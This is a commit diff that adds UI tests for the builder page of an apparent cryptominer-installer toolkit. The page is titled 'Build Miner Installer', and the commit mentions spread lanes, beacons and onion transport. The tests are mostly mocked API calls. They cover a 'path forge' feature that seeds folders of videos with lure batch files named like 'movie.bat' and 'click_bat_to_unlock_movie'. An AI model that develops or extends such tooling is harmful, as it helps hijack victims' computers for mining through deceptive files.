Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -346,4 +346,87 @@ describe('BuilderPage', () => {
|
||||
});
|
||||
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
|
||||
});
|
||||
|
||||
it('calls cancelBuild when Kill Build is clicked during single forge', async () => {
|
||||
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
||||
vi.spyOn(api, 'buildAgent').mockReturnValue(new Promise<BuildResult>(() => {}));
|
||||
|
||||
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({ stage: 'Compiling', pct: 10 }),
|
||||
}));
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
||||
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||
|
||||
const killBtn = await screen.findByRole('button', { name: /Kill Build/i });
|
||||
fireEvent.click(killBtn);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(cancelSpy).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
it('submits path forge and shows placement summary', async () => {
|
||||
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||
const fetchMock = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
success: true,
|
||||
placed: 3,
|
||||
total: 1,
|
||||
skipped: 2,
|
||||
errors: 0,
|
||||
results: [{ source: 'movie.mkv', files: ['movie.bat', 'click_bat_to_unlock_movie'] }],
|
||||
}),
|
||||
});
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
||||
|
||||
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
|
||||
const pathInput = within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i);
|
||||
fireEvent.change(pathInput, { target: { value: 'D:\\Movies' } });
|
||||
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
||||
|
||||
expect(await screen.findByText(/3 files placed across 1 source files/i)).toBeInTheDocument();
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
'/api/v1/builder/path-forge',
|
||||
expect.objectContaining({ method: 'POST' }),
|
||||
);
|
||||
});
|
||||
|
||||
it('shows path forge busy state while seeding', async () => {
|
||||
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||
let resolveForge!: (value: Response) => void;
|
||||
const fetchMock = vi.fn().mockReturnValue(
|
||||
new Promise<Response>((resolve) => {
|
||||
resolveForge = resolve;
|
||||
}),
|
||||
);
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
||||
|
||||
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
|
||||
fireEvent.change(within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i), {
|
||||
target: { value: 'D:\\Movies' },
|
||||
});
|
||||
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
||||
|
||||
expect(await screen.findByRole('button', { name: /Seeding/i })).toBeDisabled();
|
||||
|
||||
resolveForge({
|
||||
ok: true,
|
||||
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
|
||||
} as Response);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user